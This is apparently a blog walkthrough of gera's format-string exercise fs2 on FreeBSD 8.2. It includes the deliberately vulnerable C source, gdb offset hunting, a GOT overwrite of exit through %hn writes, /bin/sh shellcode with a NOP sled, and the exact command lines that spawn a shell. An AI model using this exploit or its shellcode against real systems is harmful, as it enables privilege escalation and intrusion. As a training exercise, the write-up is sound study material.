Gera's Insecure Programming Format String #2



Now that this semester is completed, I can continue going through gera’s execises =).

For reference, the program is below:

/* fs2.c                                        *
 * specially crafted to feed your brain by gera */

/* Can you tell me what's above the edge?       */
int main(int argv,char **argc) {
        char buf[256];

        snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
        snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);
}

I used FreeBSD 8.2-RELEASE as platform to exploit on. This exercise can be exploited on a system with ASLR. The shellcode address would need to be brute forced to get a shell.

> uname -a
FreeBSD  8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18 02:24:46 UTC 2011     root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386

The source shows the program takes two arguments from the command-line (argc[1] and argc[2]) and stores the resulting format string to a buffer (buf). Both of the snprintfs are only passed one argument when four (4) arguments should have be passed. This code will lead to exploitable situation as the %hn will write two bytes onto the stack (or anywhere).

> ./fs2 AA BB
> ./fs2 AAAAAAAAAAAA BBBBBBBBBBBB
Segmentation fault (core dumped)
> gdb fs2 fs2.core 
GNU gdb 6.1.1 [FreeBSD]
..snip..
#0  0x2816f329 in open () from /lib/libc.so.7
(gdb) x/i $eip
0x2816f329 :	mov    %dx,(%eax)
(gdb) x/x $edx 
0xe:	Cannot access memory at address 0xe
(gdb) x/x $eax 
0x41414141:	Cannot access memory at address 0x41414141
(gdb) q

The program crashes and drops a core when it tries to dereference 0x41414141 (“AAAA”). The next step is to find the offset to fill eax with an address we want.

> ./fs2 AAAABBBBCCCC DDDDEEEEFFFFF
Segmentation fault (core dumped)
> gdb fs2 fs2.core
GNU gdb 6.1.1 [FreeBSD]
..snip..
#0  0x2816f329 in open () from /lib/libc.so.7
(gdb) x/x $eax
0x43434343:	Cannot access memory at address 0x43434343
(gdb) printf "%#x %#x\n", $eax, $edx
0x43434343 0xe
(gdb) x/i $eip
0x2816f329 :	mov    %dx,(%eax)
(gdb) q

Another way to get the offset can be achieved by analyzing the format string and the stack’s behavior. The format string expects the stack layout to be like so:

---------------      <--- Top of Stack / Low Memory Address
-    char *       -       "%s"
---------------
-    int          -       "%c"
---------------
-    int          -       "%c" 
---------------
-    short        -       "%hn"
---------------      <--- Bottom of Stack / High Memory Address

Since one argument was passed, its location and values are on the stack. When snprintf reaches “%c” it will remove four (4) bytes from the stack for each occurance. In snprintf’s man page (PRINTF(3)), it states that the conversion specifier “c” will take an int and convert it to an unsigned char to be displayed. The initial “%c” will remove the first four bytes (“AAAA”) of the command-line string and the second “%c” will remove the following four bytes (“BBBB”). Afterwards, snprintf will write a two (2) byte value (short) to the next location on the stack (“CCCC”). This behavior is the same for the second snprintf.

> ./fs2 AAAABBBB DDDDEEEEFFFFF
Segmentation fault (core dumped)
> gdb fs2 fs2.core
GNU gdb 6.1.1 [FreeBSD]
..snip..
#0  0x2816f329 in open () from /lib/libc.so.7
(gdb) printf "%#x %#x\n", $eax, $edx
0x46464646 0xf
(gdb) q

The second command-line argument is handle the same way as the first.

> ./fs2 AAAABBBB`perl -e 'print "\xef\xbe\xad\xde"'` DDDDEEEE`perl -e 'print "\xf1\xbe\xad\xde"'`
Segmentation fault (core dumped)
> gdb fs2 fs2.core
GNU gdb 6.1.1 [FreeBSD]
..snip..
#0  0x2816f329 in open () from /lib/libc.so.7
(gdb) x/x $eax
0xdeadbeef:	Cannot access memory at address 0xdeadbeef
(gdb) print/x $edx
$1 = 0xe
(gdb) q
> objdump -R fs2 | grep exit
080496e4 R_386_JUMP_SLOT   exit
080496e8 R_386_JUMP_SLOT   atexit
> ./fs2 AAAABBBB`perl -e 'print "\xe4\x96\x04\x08"'` CCCCDDDD`perl -e 'print "\xe6\x96\x04\x08"'`
Segmentation fault (core dumped)
> gdb fs2 fs2.core 
GNU gdb 6.1.1 [FreeBSD]
..snip..
#0  0x000e000e in ?? ()
(gdb) q

The next step is to select a valid memory address to overwrite. The GOT-overwrite technique is a good approach to get a shell. After the final snprintf, the program exits so, the function exit (080496e4) is a good pick.

> setenv SHELLCODE `perl -e 'print "\x90"x1000 ."\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\xb0\x3b\x50\xcd\x80"'

Now the shellcode needs to be stored in an envirnomental variable and its location need to be known. I was lazy (and being sloppy) so I added a NOP sled.

> gdb -q
(gdb) print 0xbfbf - 0xe
$1 = 49073
(gdb) print 0xebc3 - 0xe
$2 = 60341
(gdb) q

The shellcode (in my case) was found at 0xbfbfebc3. Each of the string have the value 14 (0xe) being written, thus a little math is needed to get the correct two byte value.

> ./fs2 AAAABBBB`perl -e 'print "\xe4\x96\x04\x08"."a"x60341'` CCCCDDDD`perl -e 'print "\xe6\x96\x04\x08"."a"x49073'`
$ 

Another one bites the dust.